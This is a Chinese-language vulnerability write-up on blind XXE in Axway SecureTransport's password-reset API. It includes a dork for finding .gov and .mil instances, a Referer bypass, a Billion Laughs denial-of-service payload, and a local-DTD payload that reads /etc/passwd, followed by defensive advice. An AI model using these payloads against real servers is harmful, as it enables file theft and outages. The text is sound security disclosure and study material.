一次Blind-XXE漏洞挖掘之旅
字数 961 2025-08-26 22:11:57

Blind-XXE漏洞挖掘与利用技术详解

0x01 漏洞背景

0x01.1 目标系统概述

Axway SecureTransport是一款企业级多协议MFT(Managed File Transfer)网关,用于:

  • 保护、管理和跟踪企业内部文件传输
  • 支持用户社区、云和移动设备安全传输
  • 处理大容量高速安全文件传输
  • 支持系统间、网站间、业务线间及合作伙伴间的文件传输

0x01.2 目标系统使用范围

通过Google搜索语法可发现政府(.gov)和军事(.mil)机构广泛使用:

intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)

0x02 漏洞发现过程

0x02.1 攻击面分析

  1. 企业软件通常需要凭据访问
  2. 当前权限下尝试功能测试

0x02.2 关键代码分析

login.js中发现关键代码段:

var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>";
$.ajax({
    url : "/api/v1.0/myself/resetPassword",
    type : 'POST',
    contentType : 'application/xml',
    data : parameters,
    cache: false,
    success: function(data) {
        // 成功处理逻辑
    }
});

0x02.3 初步测试

  1. 直接GET请求/api/v1.0/myself/resetPassword返回错误
  2. 添加Referer头localhost绕过白名单检查
  3. 发送空XML文档导致解析错误:
{
  "message": "javax.xml.bind.UnmarshalException - with linked exception: 
  [org.xml.sax.SAXParseException; Premature end of file.]"
}

0x02.4 XML结构探测

  1. 测试无效标签<test>
{
  "message": "javax.xml.bind.UnmarshalException: unexpected element (uri:\"\", local:\"test\"). 
  Expected elements are <{}resetPassword>"
}
  1. 构建完整有效XML:
<?xml version="1.0" encoding="UTF-8"?>
<resetPassword>
    <email>lol@lol.lol</email>
</resetPassword>

服务器返回204响应,确认XML解析成功

0x03 漏洞确认

0x03.1 XXE测试

尝试定义外部实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
    <email>&exists;&doesnt;</email>
</resetPassword>

返回错误确认实体解析:

{
  "message": "javax.xml.bind.UnmarshalException - with linked exception:
  [org.xml.sax.SAXParseException; lineNumber: 6; columnNumber: 25; 
  The entity \"doesnt\" was referenced, but not declared.]"
}

0x04 漏洞利用技术

0x04.1 利用限制

  1. 服务器不返回有效内容(盲注)
  2. 防火墙阻断外部请求
  3. 无源代码访问权限

0x04.2 SSRF Payload

利用XXE发起服务端请求攻击内部服务

0x04.3 DoS攻击Payload

Billion Laughs攻击变体:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

0x04.4 本地DTD再利用技术

利用系统已有DTD文件进行攻击:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<resetPassword></resetPassword>

0x05 防御建议

  1. 禁用XML外部实体解析
  2. 实施严格的输入验证
  3. 使用更安全的解析器配置
  4. 限制XML文档复杂度
  5. 实施网络层防护措施

附录:关键测试步骤总结

  1. 发现XML端点:/api/v1.0/myself/resetPassword
  2. 绕过Referer检查:设置Referer为localhost
  3. 确认XML结构:<resetPassword><email>value</email></resetPassword>
  4. 测试XXE基础payload
  5. 根据环境选择利用技术(SSRF/DoS/本地DTD再利用)
Blind-XXE漏洞挖掘与利用技术详解 0x01 漏洞背景 0x01.1 目标系统概述 Axway SecureTransport是一款企业级多协议MFT(Managed File Transfer)网关,用于: 保护、管理和跟踪企业内部文件传输 支持用户社区、云和移动设备安全传输 处理大容量高速安全文件传输 支持系统间、网站间、业务线间及合作伙伴间的文件传输 0x01.2 目标系统使用范围 通过Google搜索语法可发现政府(.gov)和军事(.mil)机构广泛使用: 0x02 漏洞发现过程 0x02.1 攻击面分析 企业软件通常需要凭据访问 当前权限下尝试功能测试 0x02.2 关键代码分析 在 login.js 中发现关键代码段: 0x02.3 初步测试 直接GET请求 /api/v1.0/myself/resetPassword 返回错误 添加Referer头 localhost 绕过白名单检查 发送空XML文档导致解析错误: 0x02.4 XML结构探测 测试无效标签 <test> : 构建完整有效XML: 服务器返回204响应,确认XML解析成功 0x03 漏洞确认 0x03.1 XXE测试 尝试定义外部实体: 返回错误确认实体解析: 0x04 漏洞利用技术 0x04.1 利用限制 服务器不返回有效内容(盲注) 防火墙阻断外部请求 无源代码访问权限 0x04.2 SSRF Payload 利用XXE发起服务端请求攻击内部服务 0x04.3 DoS攻击Payload Billion Laughs攻击变体: 0x04.4 本地DTD再利用技术 利用系统已有DTD文件进行攻击: 0x05 防御建议 禁用XML外部实体解析 实施严格的输入验证 使用更安全的解析器配置 限制XML文档复杂度 实施网络层防护措施 附录:关键测试步骤总结 发现XML端点: /api/v1.0/myself/resetPassword 绕过Referer检查:设置Referer为 localhost 确认XML结构: <resetPassword><email>value</email></resetPassword> 测试XXE基础payload 根据环境选择利用技术(SSRF/DoS/本地DTD再利用)